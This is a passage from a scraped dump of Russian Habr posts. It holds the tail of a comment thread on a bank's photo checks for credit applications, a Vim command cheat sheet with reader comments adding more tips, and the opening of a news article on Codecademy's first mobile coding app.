xmlns=\"http://www.w3.org/1999/xhtml\">Вы все верно подметили. Но повторюсь еще раз, мы не используем фото как доказательство (единственный критерий) того, что заявка подлинная. Мы верифицируем и остальные данные заявки.<br/>\r\n<br/>\r\n«А сфоткать под предлогом теста камеры супер-нового телефона.» — звучит неубедительно, я бы на такое не согласилась :)</div>" ], "message_markdown": [ "А нельзя ли было повысить точность, например, анализом метаданных снимка: отсутствие наличие exif, разрешение фото, отсутствие меток фоторедактора, наличие GPS данных (если фото с телефона) и тд?", "Метаданные анализируем в первую очередь. Если с ними что-то не так, то отправляем фото на ручную проверку. Если все в порядке, то уже используем нейросети", "А были еще идеи решить данную проблему, расскажите о них? Как вообще реализована загрузка фото? Может стоит проверять не только результат работы(фотографию) а поработать над самим процессом (момент создания фото/загрузки). Например сделать утилиту(функционал в ЛК) что позволит работать только с веб-камерой и будет клеить некий уникальный Watermark? В общем убрать саму возможность загрузки RandomName.jpg.", "Что помешает сделать фото фотографии?", "Ничего. Так же как ничего не мешает загрузить файл фото более менее похожий на фото сделанное из офиса. Я в комменте выше скорее хотел донести мысль рассказать подробное как организован сам процесс, что заодно поможет избежать миллиона советов в комментах)\nДа и в данном случае на мой взгляд нужен комплекс мер как программных так и организационных.", "Конечно, мы думали о работе над самим процессом. Просто проблема в том, что мы не всегда можем над ним работать) Например, если брокер, в котором сотрудники заполняют заявки — внешний, то мы можем лишь высказывать пожелания по его работе(мы же просто один из банков-потребителей), а реализация будет зависеть от желания торговой сети, которая управляет брокером.\nВ итоге обычно проще реализовать проверки на своей стороне; управлять ими в таком случае намного удобнее и быстрее.", "Комплекс мер и есть на самом деле.\nСаша просто рассказала про одну из мер, а есть еще много чего — анализ данных заявки, поиск аномалий в этих данных, биометрия и т.д.", "Что мешает требовать фотографировать клиентов с какой нибудь табличкой, листочком с кодом, договором, в опеределенном ракурсе и т.д.?", "Мы не можем требовать от партнеров что-либо, можем только предлагать. Заявка на кредит с фото рассылается в несколько банков, не только в Тинькофф. То есть у партнера есть альтернативы, поэтому он может отказаться от наших пожеланий", "Понятно, потеряете партнеров со своими «хотелками»...\nНо, если установка каких-либо дополнительных требований к фото может помочь то:\nВ итоге, другие банки ищут/не_ищут свой способ борьбы с этой проблемой, вместо объединения усилий?:)", "Что если обманщик сфотографирует пустой фон в точке продаж, возьмёт фото из соцсети/паспорта, вырежет человека и вставит в фон? Какой результат выдаст нейросеть?", "Когда я получал Тинькоф карту, меня как раз сфотографировали с документами и с определенным ракурсом", "> Но, если установка каких-либо дополнительных требований к фото может помочь то\nМожно еще давать клиенту табличу «Я ~~дур..~~ беру кредит на дорогой телефон», надевать на клиента шапочку из фольги, поставив его на одну ногу.\nПричем на государственном уровне внести требование.\nТогда можно усложнить жизнь мошенникам, и помочь человеку одуматься перед тем как влезать в долги", "тоже интересно\nСтатья конечно крутая, но обработкой фото сейчас уже никого не удивить\n> Одним из ключевых элементов заявки на кредит является фотография заемщика – агент магазина-партнера фотографирует покупателя; такая фотография попадает в «личное дело» клиента и используется в дальнейшем как один из способов подтверждения его присутствия на точке в момент подачи заявки на кредит.\nПравда? это же печально, что уже подметили все комментаторы\nВ современном мире фотография становится таким себе доказательством\nИнструментов обработки масса, фотки люди сами выкладывают\nДа и при оформлении sim-ки в салоне партнера можно скоммунздить все паспортные данные и оформить заявку\nА сфоткать под предлогом теста камеры супер-нового телефона.", "Вы все верно подметили. Но повторюсь еще раз, мы не используем фото как доказательство (единственный критерий) того, что заявка подлинная. Мы верифицируем и остальные данные заявки.\n«А сфоткать под предлогом теста камеры супер-нового телефона.» — звучит неубедительно, я бы на такое не согласилась :)" ], "author": [ "foxit (foxyrus)", "Александра Миночкина (alex_minochkina)", "Станислав Витальевич (Waik)", "angel_zar", "Станислав Витальевич (Waik)", "artem kharchenko (Tsui_Hark)", "artem kharchenko (Tsui_Hark)", "Владимир (postgres)", "Александра Миночкина (alex_minochkina)", "Владимир (postgres)", "AC130", "NikTrub", "NikTrub", "NikTrub", "Александра Миночкина (alex_minochkina)" ], "children": [ [ 19519548 ], [], [ 19520254, 19521628 ], [ 19520268 ], [ 19521674 ], [], [], [ 19522944, 19525224 ], [ 19523454 ], [ 19527276 ], [ 19527442 ], [], [], [ 19543056 ], [] ] }
109,613
ru
https://habr.com/ru/post/109613/
Еще одна шпаргалка
VIM содержит сотни команд, выучить их все невозможно, да и по правде говоря «зазубривание» — дело неблагодарное. Читая различные факи и туториалы я взял за правило заносить новые для меня команды в отдельный файл, сопровождая их кратким описанием. В процессе работы с редактором я часто заглядываю в этот файл и с течением времени многие команды из него пополняют мой стандартный набор. Своим файлом-шпаргалкой я и хочу с вами поделиться. Описания команд максимально лаконичны, часто в ущерб точности. Подробную информацию о команде можно посмотреть в документации (:help cmd). Дополнения приветствуются. ##### Поиск * — поиск слова под курсором. Как и при любом другом поиске n и N позволяют перемещаться между совпадениями. # — то же самое, но в обратном направлении. gd — переход к локальному объявлению. Переходит к первому упоминанию слова под курсором в пределах функции, игнорируя комментарии. gD — переход к глобальному объявлению. Аналогично gd, за исключением того, что ищется первое упоминание в пределах файла. [[ — переход к началу функции. ##### Замена %s/foo/bar/c — замена с подтверждением. perldo s/foo/bar/g — perl регулярные выражения. ##### Перемещение fx — переместить курсор на первый символ x в текущей строке. tx — установить курсор перед символом x. Fx, Tx — в обратном направлении. ; — повторить последнее перемещение. `. — перейти к последней редактируемой строке. `` — перейти к последней активной строке. % — перейти к парной скобке. ##### Разное = — в визуальном режиме форматирует выделенный текст. ]p — вставка с учетом отступов. ga — отобразить код символа под курсором в статусной строке. xp — поменять соседние буквы местами. J — слияние двух соседних строк. u — в визуальном режиме переводит выделенный фрагмент в нижний регистр. U — в верхний. !sort — в визуальном режиме сортирует выделенный фрагмент. Подобным образом можно применить любую внешнюю команду. di{ — удалить текст внутри активных фигурных скобок. Работает для любых других скобок и кавычек (спасибо bbbb). da{ — то же самое вместе со скобками (спасибо paul). В завершение альтернатива стандартной замене с подтверждением, которой я часто пользуюсь: * или / — поиск кандидата на замену, cw — удаление слова, ввод нового слова, n — переход к следующему совпадению, . — повторение предыдущей команды (замена слова).
<div xmlns="http://www.w3.org/1999/xhtml">VIM содержит сотни команд, выучить их все невозможно, да и по правде говоря «зазубривание» — дело неблагодарное. Читая различные факи и туториалы я взял за правило заносить новые для меня команды в отдельный файл, сопровождая их кратким описанием. В процессе работы с редактором я часто заглядываю в этот файл и с течением времени многие команды из него пополняют мой стандартный набор. Своим файлом-шпаргалкой я и хочу с вами поделиться.<br/> <a name="habracut"></a><br/> Описания команд максимально лаконичны, часто в ущерб точности. Подробную информацию о команде можно посмотреть в документации (:help cmd). Дополнения приветствуются.<br/> <br/> <h5>Поиск</h5><br/> <b>*</b> — поиск слова под курсором. Как и при любом другом поиске <i>n</i> и <i>N</i> позволяют перемещаться между совпадениями.<br/> <b>#</b> — то же самое, но в обратном направлении.<br/> <b>gd</b> — переход к локальному объявлению. Переходит к первому упоминанию слова под курсором в пределах функции, игнорируя комментарии.<br/> <b>gD</b> — переход к глобальному объявлению. Аналогично <i>gd</i>, за исключением того, что ищется первое упоминание в пределах файла.<br/> <b>[[</b> — переход к началу функции.<br/> <br/> <h5>Замена</h5><br/> <b>%s/foo/bar/c</b> — замена с подтверждением.<br/> <b>perldo s/foo/bar/g</b> — perl регулярные выражения.<br/> <br/> <h5>Перемещение</h5><br/> <b>fx</b> — переместить курсор на первый символ x в текущей строке.<br/> <b>tx</b> — установить курсор перед символом x.<br/> <b>Fx</b>, <b>Tx</b> — в обратном направлении.<br/> <b>;</b> — повторить последнее перемещение.<br/> <b>`.</b> — перейти к последней редактируемой строке.<br/> <b>``</b> — перейти к последней активной строке.<br/> <b>%</b> — перейти к парной скобке.<br/> <br/> <h5>Разное</h5><br/> <b>=</b> — в визуальном режиме форматирует выделенный текст.<br/> <b>]p</b> — вставка с учетом отступов.<br/> <b>ga</b> — отобразить код символа под курсором в статусной строке.<br/> <b>xp</b> — поменять соседние буквы местами.<br/> <b>J</b> — слияние двух соседних строк.<br/> <b>u</b> — в визуальном режиме переводит выделенный фрагмент в нижний регистр.<br/> <b>U</b> — в верхний.<br/> <b>!sort</b> — в визуальном режиме сортирует выделенный фрагмент. Подобным образом можно применить любую внешнюю команду.<br/> <b>di{</b> — удалить текст внутри активных фигурных скобок. Работает для любых других скобок и кавычек (спасибо <a href="http://habrahabr.ru/users/bbbb/" class="user_link">bbbb</a>).<br/> <b>da{</b> — то же самое вместе со скобками (спасибо <a href="http://habrahabr.ru/users/paul/" class="user_link">paul</a>).<br/> <br/> В завершение альтернатива стандартной замене с подтверждением, которой я часто пользуюсь: <i>*</i> или <i>/</i> — поиск кандидата на замену, <i>cw</i> — удаление слова, ввод нового слова, <i>n</i> — переход к следующему совпадению, <i>.</i> — повторение предыдущей команды (замена слова).</div>
Bender Bending Rodriguez (bendingunit22)
null
null
VIM содержит сотни команд, выучить их все невозможно, да и по правде говоря «зазубривание» — дело неблагодарное. Читая различные факи и туториалы я взял за правило заносить новые для меня команды в отдельный файл, сопровождая их кратким описанием. В процессе работы с редактором я часто заглядываю в этот файл и с течением времени многие команды из него пополняют мой стандартный набор. Своим файлом-шпаргалкой я и хочу с вами поделиться.<br/>
VIM содержит сотни команд, выучить их все невозможно, да и по правде говоря «зазубривание» — дело неблагодарное. Читая различные факи и туториалы я взял за правило заносить новые для меня команды в отдельный файл, сопровождая их кратким описанием. В процессе работы с редактором я часто заглядываю в этот файл и с течением времени многие команды из него пополняют мой стандартный набор. Своим файлом-шпаргалкой я и хочу с вами поделиться.
article
1,291,810,895
{ "commentsCount": 41, "favoritesCount": 142, "readingCount": 14435, "score": 46, "votesCount": 64, "votesCountPlus": 55, "votesCountMinus": 9 }
[]
[ "vim" ]
[ "develop" ]
[ "vim", "шпаргалка", "команды" ]
2
null
null
{ "id": [ 3483017, 3483044, 3483068, 3483078, 3483164, 3483193, 3483198, 3483242, 3483256, 3483264, 3483322, 3483350, 3483373, 3483469, 3483498, 3483602, 3483718, 3483728, 3483731, 3483743, 3483908, 3483915, 3483953, 3483996, 3484023, 3484074, 3484215, 3484451, 3484464, 3484492, 3484652, 3484657, 3484729, 3484872, 3485192, 3485354, 3485831, 3485850, 3486142, 3486485, 3489665 ], "parent_id": [ null, null, 3483044, 3483068, null, 3483017, 3483164, null, 3483198, 3483256, 3483264, null, 3483242, 3483322, 3483469, null, 3483164, 3483602, 3483718, 3483731, null, 3483728, 3483017, 3483953, null, 3483017, 3483915, 3483602, 3484023, 3484023, 3484464, 3484652, 3484652, 3484652, null, null, 3485192, 3485831, null, 3486142, null ], "level": [ 0, 0, 1, 2, 0, 1, 1, 0, 2, 3, 4, 0, 1, 5, 6, 0, 1, 1, 2, 3, 0, 2, 1, 2, 0, 1, 3, 1, 1, 1, 2, 3, 3, 3, 0, 0, 1, 2, 0, 1, 0 ], "time_published": [ 1291825872, 1291826443, 1291826839, 1291826956, 1291828560, 1291829070, 1291829167, 1291830317, 1291830553, 1291830760, 1291831784, 1291832166, 1291832601, 1291834606, 1291835148, 1291837149, 1291839601, 1291839859, 1291839931, 1291840120, 1291843268, 1291843366, 1291844021, 1291845040, 1291845325, 1291846200, 1291859261, 1291880642, 1291881092, 1291881542, 1291884579, 1291884636, 1291885869, 1291888656, 1291896500, 1291899385, 1291910412, 1291910789, 1291919725, 1291929174, 1292058269 ], "score": [ 5, 1, 1, 1, -1, 3, 2, 1, 0, 0, 0, 2, 4, 0, 1, 0, 3, 0, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0 ], "votes": [ 5, 3, 1, 3, 7, 3, 4, 1, 8, 4, 8, 2, 4, 8, 5, 0, 3, 0, 1, 1, 0, 0, 2, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\"><strong>qq</strong> — начать запись команд в макрос<br/>\r\n<strong>q</strong> — остановить запись<br/>\r\n<strong>10 @q</strong> — использовать макрос 10 раз<br/>\r\n<br/>\r\nПолезно, например, если необходимо удалить каждую вторую строчку файла или если есть серия файлов, с которыми необходимо сделать одинаковые действия.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Есть также удобная команда. (просто точка), повторяет последнее действие. <br/>\r\n<br/>\r\nНапример, есть строка: «hello world, hello people», тогда если поставить курсор на первую букву h и в режиме редактирования нажать 5 раз delete, написать какое-то слово, и переместить курсор ко второй h и нажать точку, то оно удалит hello и запишет слово, которое было введено ранее.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Упомянул ее в последнем абзаце :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">как-то совсем последний абзац проигнорировал, каюсь</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В чем сакральный смысл повторять то, что и так написано в тысячах других шпаргалок, мало того, все что вы написали, есть в tutorial'е для новичков.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Extra tip: «qq — начать запись команд в макрос» — вторая буква после q может быть любая. Например, qx -> @x. Так можно записать несколько разных макросов.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ответ кроется в заголовке-дисклеймере (Yet Another ...).</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо за:<br/>\r\n<blockquote>`. — перейти к последней редактируемой строке.<br/>\r\n`` — перейти к последней активной строке.</blockquote></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">десять команд — это нифига не шпаргалка, а десять команд, из которых больше половины элементарщина, которая запоминается сама по себе в процессе использования — вообще гроша ломанного не стоит. Что же вы не упомянули <b>i</b> — вход в режим ввода, <b>v</b> — вход в визуальный режим.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Читателям Хабры судить, что элементарщина, а что — нет.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">тогда мне жаль хабр, раз <em>это</em> на главной. Хабр все-таки не жж, в котором уместно писать: «Ах, я сегодня впервые увидил вим и вот команды, которые я изучил»</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо. Чит-шиты также много интересного несут: <a href=\"http://www.cheat-sheets.org/#Vim\">www.cheat-sheets.org/#Vim</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">g; g, — можно ходить по истории позиций изменений</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Хабру тебя тоже очень жаль :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">«читателям Хабры судить», «хабру очень жаль» — у вас есть собственное мнение, зачем говорить за других, говорите за себя. И не надо мне «тыкать», мы вообще не знакомы.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">в vimtutor половины нету.<br/>\r\n<br/>\r\nВ принципе, этот топик — хороший способ обратить на ВИМ дополнительное внимание. По-моему, это хорошо. Кроме того, я хоть и сижу в VIM, но в целом в повседневной жизни использую ограниченный набор его «фишек», которые когда-то запомнились, как самое нужное. Проходит время, эти «фишки» становятся повседневностью и я открыт запомнить что-нибудь ещё. Неплохо, когда кто-то другой предлагает мне свой набор постоянных, отобранных «фишек». <br/>\r\n<br/>\r\nМне этот топик был полезен, т.к. с его помощью я немного расширил свой «постоянный» набор. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вопрос был не ко мне, но я за себя скажу — в виме свои регулярки, синтаксис отличается, зачем помнить 2 синтаксиса регулярок, когда можно помнить один?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><a href=\"http://vim.wikia.com/\">Расширяйте</a> дальше :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо, почитаю. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">гг)<br/>\r\nкак раз совсем недавно удалял каждую вторую строчку с помощью<br/>\r\n:%s/\\(.*\\)\\n.*\\n/\\1/g<br/>\r\nгде вводиться как — ctrl+K, Enter<br/>\r\n<br/>\r\nзабыл про макросы)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">парсер чуть текста съел (ENDL был в угловых скобках)<br/>\r\n:%s/\\(.*\\)\\n.*\\n/\\1ENDL/g<br/>\r\nгде ENDL — вводиться как — ctrl+K, Enter</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">очень используемы еще комманды<br/>\r\ndo)<br/>\r\ndi\"<br/>\r\nvo{<br/>\r\n…<br/>\r\n<br/>\r\nd или v — удалить или выделить<br/>\r\no или i — включая или не включая пограничные символы<br/>\r\nпоследний символ — область внутри любых видов скобо, ковычек, слово (w)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А существует ли возможность выполнить макрос «до конца файла»? <br/>\r\nК примеру, если макрос за один раз обрабатывает одну строку и этот макрос нужно применить ко всем строкам, то нужно указать N@q, где N — количество строк. А можно ли N заменить чем-то, что бы автоматически выполнялся макрос до конца.<br/>\r\n<br/>\r\n<strong>@@</strong> — использовать предыдущий макрос.<br/>\r\n<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вот в том то и дело, что надо кучу всего экранировать в виме. Есть конечно 'magic', но проще использовать :perldo, чем запоминать, что надо экранировать, а что не надо и в каком режиме.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Перловые регулярные выражения знаю хорошо, а вот встроенные — не очень, поэтому и пользуюсь. К тому же реализация в перле одна из самых (самая?) мощных.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">&lt;b&lt;di{ — убийственная команда, нигде раньше не встречал. А вот do{ — не работает, говорит что буфер не в diff режиме.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Добавил в шпаргалку.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">вместо o надо a. :help text-objects</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Мнемоника: i — inner object, a — an object.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо, обновил.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">спасибо. писал уже поздно вечером и на автопилоте расшифровал как inner и outer.<br/>\r\n<br/>\r\nизвените все, что ввел в заблуждение)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">gd хорош, спасибо.<br/>\r\n<br/>\r\n[[ выходит на верхнюю из вложенных (определение класса например). Есть такая же команда, но только для текущей функции?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Очень рекомендую отличный учебник по vim на _простом_ английском языке.<br/>\r\n<a href=\"http://www.swaroopch.com/notes/Vim&quot;\">Byte of Vim </a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я не очень понял вопрос, но возможно [{. А вообще :help 29.3</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да, спасибо, [{ должен работать. Но в python не работает :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Все эти шпаргалки БЕС-ПО-ЛЕЗ-НЫ.<br/>\r\n<br/>\r\nГлавое — научиться контролировать что ты делаешь и оптимизировать СВОЙ рабочий процесс. Ну а единственная команда vim, которую действительно стоит выучить, это :help.<br/>\r\n<br/>\r\nТакая моя ИМХА :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Именно об этом Брам рассказывает в видео <a href=\"http://video.google.com/videoplay?docid=2538831956647446078#\">7 Habits For Effective Text Editing</a>. Найти, что тебя тормозит — научиться делать это быстрее.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А куда комментарии делись?</div>" ], "message_markdown": [ "qq — начать запись команд в макрос\nq — остановить запись\n10 @q — использовать макрос 10 раз\nПолезно, например, если необходимо удалить каждую вторую строчку файла или если есть серия файлов, с которыми необходимо сделать одинаковые действия.", "Есть также удобная команда. (просто точка), повторяет последнее действие.\nНапример, есть строка: «hello world, hello people», тогда если поставить курсор на первую букву h и в режиме редактирования нажать 5 раз delete, написать какое-то слово, и переместить курсор ко второй h и нажать точку, то оно удалит hello и запишет слово, которое было введено ранее.", "Упомянул ее в последнем абзаце :)", "как-то совсем последний абзац проигнорировал, каюсь", "В чем сакральный смысл повторять то, что и так написано в тысячах других шпаргалок, мало того, все что вы написали, есть в tutorial'е для новичков.", "Extra tip: «qq — начать запись команд в макрос» — вторая буква после q может быть любая. Например, qx -> @x. Так можно записать несколько разных макросов.", "Ответ кроется в заголовке-дисклеймере (Yet Another ...).", "Спасибо за:\n> `. — перейти к последней редактируемой строке.\n> `` — перейти к последней активной строке.", "десять команд — это нифига не шпаргалка, а десять команд, из которых больше половины элементарщина, которая запоминается сама по себе в процессе использования — вообще гроша ломанного не стоит. Что же вы не упомянули i — вход в режим ввода, v — вход в визуальный режим.", "Читателям Хабры судить, что элементарщина, а что — нет.", "тогда мне жаль хабр, раз это на главной. Хабр все-таки не жж, в котором уместно писать: «Ах, я сегодня впервые увидил вим и вот команды, которые я изучил»", "Спасибо. Чит-шиты также много интересного несут: www.cheat-sheets.org/#Vim", "g; g, — можно ходить по истории позиций изменений", "Хабру тебя тоже очень жаль :)", "«читателям Хабры судить», «хабру очень жаль» — у вас есть собственное мнение, зачем говорить за других, говорите за себя. И не надо мне «тыкать», мы вообще не знакомы.", "UFO just landed and posted this here", "в vimtutor половины нету.\nВ принципе, этот топик — хороший способ обратить на ВИМ дополнительное внимание. По-моему, это хорошо. Кроме того, я хоть и сижу в VIM, но в целом в повседневной жизни использую ограниченный набор его «фишек», которые когда-то запомнились, как самое нужное. Проходит время, эти «фишки» становятся повседневностью и я открыт запомнить что-нибудь ещё. Неплохо, когда кто-то другой предлагает мне свой набор постоянных, отобранных «фишек».\nМне этот топик был полезен, т.к. с его помощью я немного расширил свой «постоянный» набор.", "Вопрос был не ко мне, но я за себя скажу — в виме свои регулярки, синтаксис отличается, зачем помнить 2 синтаксиса регулярок, когда можно помнить один?", "Расширяйте дальше :)", "Спасибо, почитаю.", "UFO just landed and posted this here", "UFO just landed and posted this here", "гг)\nкак раз совсем недавно удалял каждую вторую строчку с помощью\n:%s/\\\\(.*\\\\)\\n.*\\n/\\1/g\nгде вводиться как — ctrl+K, Enter\nзабыл про макросы)", "парсер чуть текста съел (ENDL был в угловых скобках)\n:%s/\\\\(.*\\\\)\\n.*\\n/\\1ENDL/g\nгде ENDL — вводиться как — ctrl+K, Enter", "очень используемы еще комманды\ndo)\ndi\"\nvo{\n...\nd или v — удалить или выделить\no или i — включая или не включая пограничные символы\nпоследний символ — область внутри любых видов скобо, ковычек, слово (w)", "А существует ли возможность выполнить макрос «до конца файла»?\nК примеру, если макрос за один раз обрабатывает одну строку и этот макрос нужно применить ко всем строкам, то нужно указать N@q, где N — количество строк. А можно ли N заменить чем-то, что бы автоматически выполнялся макрос до конца.\n@@ — использовать предыдущий макрос.", "Вот в том то и дело, что надо кучу всего экранировать в виме. Есть конечно 'magic', но проще использовать :perldo, чем запоминать, что надо экранировать, а что не надо и в каком режиме.", "Перловые регулярные выражения знаю хорошо, а вот встроенные — не очень, поэтому и пользуюсь. К тому же реализация в перле одна из самых (самая?) мощных.", "<b<di{ — убийственная команда, нигде раньше не встречал. А вот do{ — не работает, говорит что буфер не в diff режиме.", "Добавил в шпаргалку.", "вместо o надо a. :help text-objects", "Мнемоника: i — inner object, a — an object.", "Спасибо, обновил.", "спасибо. писал уже поздно вечером и на автопилоте расшифровал как inner и outer.\nизвените все, что ввел в заблуждение)", "gd хорош, спасибо.\n[[ выходит на верхнюю из вложенных (определение класса например). Есть такая же команда, но только для текущей функции?", "Очень рекомендую отличный учебник по vim на _простом_ английском языке.\nByte of Vim", "Я не очень понял вопрос, но возможно [{. А вообще :help 29.3", "Да, спасибо, [{ должен работать. Но в python не работает :)", "Все эти шпаргалки БЕС-ПО-ЛЕЗ-НЫ.\nГлавое — научиться контролировать что ты делаешь и оптимизировать СВОЙ рабочий процесс. Ну а единственная команда vim, которую действительно стоит выучить, это :help.\nТакая моя ИМХА :)", "Именно об этом Брам рассказывает в видео 7 Habits For Effective Text Editing. Найти, что тебя тормозит — научиться делать это быстрее.", "А куда комментарии делись?" ], "author": [ "Венедиктов Вадим (installero)", "Владислав Фролов (frol)", "Bender Bending Rodriguez (bendingunit22)", "Владислав Фролов (frol)", "laQie", "jed_meyers (jed_meyers)", "Bender Bending Rodriguez (bendingunit22)", "Sergei O. Udalov (Delfino)", "laQie", "Венедиктов Вадим (installero)", "laQie", "Александр Д. (luckyredhot)", "dotneter (dotneter)", "Венедиктов Вадим (installero)", "laQie", "{}", "mpetrunin", "Павел (Paul)", "Павел (Paul)", "mpetrunin", "{}", "{}", "bbbb", "bbbb", "bbbb", "iegorka (Eugene007)", "Павел (Paul)", "Bender Bending Rodriguez (bendingunit22)", "Bender Bending Rodriguez (bendingunit22)", "Bender Bending Rodriguez (bendingunit22)", "Павел (Paul)", "Павел (Paul)", "Bender Bending Rodriguez (bendingunit22)", "bbbb", "Bytamine", "Sicness", "Павел (Paul)", "Bytamine", "Александр Артёменко (Svetlyak)", "Павел (Paul)", "Bender Bending Rodriguez (bendingunit22)" ], "children": [ [ 3483193, 3483953, 3484074 ], [ 3483068 ], [ 3483078 ], [], [ 3483198, 3483718 ], [], [ 3483256 ], [ 3483373 ], [ 3483264 ], [ 3483322 ], [ 3483469 ], [], [], [ 3483498 ], [], [ 3483728, 3484451 ], [ 3483731 ], [ 3483915 ], [ 3483743 ], [], [], [ 3484215 ], [ 3483996 ], [], [ 3484464, 3484492 ], [], [], [], [ 3484652 ], [], [ 3484657, 3484729, 3484872 ], [], [], [], [ 3485831 ], [], [ 3485850 ], [], [ 3486485 ], [], [] ] }
205,510
ru
https://habr.com/ru/post/205510/
Codecademy выпустила первое мобильное приложение для обучения программированию
Сегодня ребята из Codecademy сделали свой первый шаг в сфере создания приложений и выпустили вводный курс по программированию, который можно пройти менее чем за час. Запуск приложения был приурочен к интересному мероприятию Computer Science Education Week, цель которого убедить 10 миллионов американских студентов один час позаниматься программированием (его поддерживает Apple, Facebook, правительство в лице Обамы, известные персоны). Более широкая цель приложения состоит в том, чтобы создать серию уроков, которые можно было бы понемногу проходить на ходу, что прекрасно подходит для занятых людей, желающих приобрести новые навыки. Директор и основатель Зак Симс говорит, что в итоге Codecademy для iPhone станет их собственной независимой обучающей платформой. Первая версия содержит лишь несколько базовых возможностей — она показывает тебе как выглядит программирование и объясняет его основные функции — но команда надеется выпустить новый контент уже на этой неделе. Приложение создано для того, чтобы стать супер простым первым шагом для последующего обучения программированию. Текстовые отзывы, которые ты получаешь после каждого вопроса, вдохновляют тебя, позволяют почувствовать, что ты справился с заданием и хорошо мотивируют твое хрупкое, но легко раздувающееся эго. На данный момент вся программа обучения разбита на пять частей, переходящих один в другой: введение («Приветствие»), Типы данных, Переменные, Сравнение и If... Else. Каждый раздел содержит несколько примеров и вопросов, составляющих ряд небольших уроков. Сам процесс обучения разработан с учетом обычных ограничений мобильных устройств: небольшого экрана и невозможности печатать много текста. В то время как десктопный сервис Codecademy поддерживает обучение путем выполнения заданий, приложение идет другим путем. Вместо написания собственного кода пользователи дописывают небольшие фрагменты в строчках кода, причем в большинстве случаев уже представлено несколько вариантрв ответов. В некоторых разделах вместо ответа на вопрос тебе нужно просто нажать кнопку «Запустить». Некоторые вопросы кажутся до нелепого простыми. Например, в вводном разделе тебя спрашивают «Сможешь ли ты написать программу, которая вычислит сколько будет ’6-2′?», и тебе нужно лишь подставить знак минус в «print(6? 2);» (нужно нажать на "?" и выбрать правильный вариант ответа). Ты можешь посмеяться и сказать, что программирование – это для чайников, что ты сделаешь собственное приложение и разбогатеешь. Единственная проблема в том, что в приложении не приведено никаких определений и приходится гуглить некоторые ответы. Скорее всего со временем это исправят, поскольку Codecademy продолжает развивать мобильное крыло своего бизнеса. Симс говорит, что цель состоит в том, чтобы создать платформонезависимый продукт, и приводит в качестве успешного примера образовательную компанию Duolingo. Но остаются ограничения при написании собственного кода, так что будет очень интересно как Codecademy справится с этим.
<div xmlns="http://www.w3.org/1999/xhtml">Сегодня ребята из Codecademy сделали свой первый шаг в сфере создания приложений и выпустили вводный курс по программированию, который можно пройти менее чем за час.<br/> <br/> Запуск приложения был приурочен к интересному мероприятию <a href="http://csedweek.org/">Computer Science Education Week</a>, цель которого убедить 10 миллионов американских студентов один час позаниматься программированием (его поддерживает Apple, Facebook, правительство в лице Обамы, известные персоны). Более широкая цель приложения состоит в том, чтобы создать серию уроков, которые можно было бы понемногу проходить на ходу, что прекрасно подходит для занятых людей, желающих приобрести новые навыки.<br/> <br/> <img src="https://habrastorage.org/r/w780q1/getpro/habr/post_images/9fe/e16/9ba/9fee169ba5d138a23d10fb6419334837.jpg" data-src="https://habrastorage.org/getpro/habr/post_images/9fe/e16/9ba/9fee169ba5d138a23d10fb6419334837.jpg" data-blurred="true"/> <img src="https://habrastorage.org/r/w780q1/getpro/habr/post_images/5ce/6fd/2ee/5ce6fd2ee170eb01edbe82f2d3d2c68f.jpg" data-src="https://habrastorage.org/getpro/habr/post_images/5ce/6fd/2ee/5ce6fd2ee170eb01edbe82f2d3d2c68f.jpg" data-blurred="true"/><a name="habracut"></a><br/> <br/> Директор и основатель Зак Симс говорит, что в итоге <a href="https://itunes.apple.com/ru/app/codecademy-hour-of-code/id762950096">Codecademy для iPhone</a> станет их собственной независимой обучающей платформой. Первая версия содержит лишь несколько базовых возможностей — она показывает тебе как выглядит программирование и объясняет его основные функции — но команда надеется выпустить новый контент уже на этой неделе.<br/> <br/> Приложение создано для того, чтобы стать супер простым первым шагом для последующего 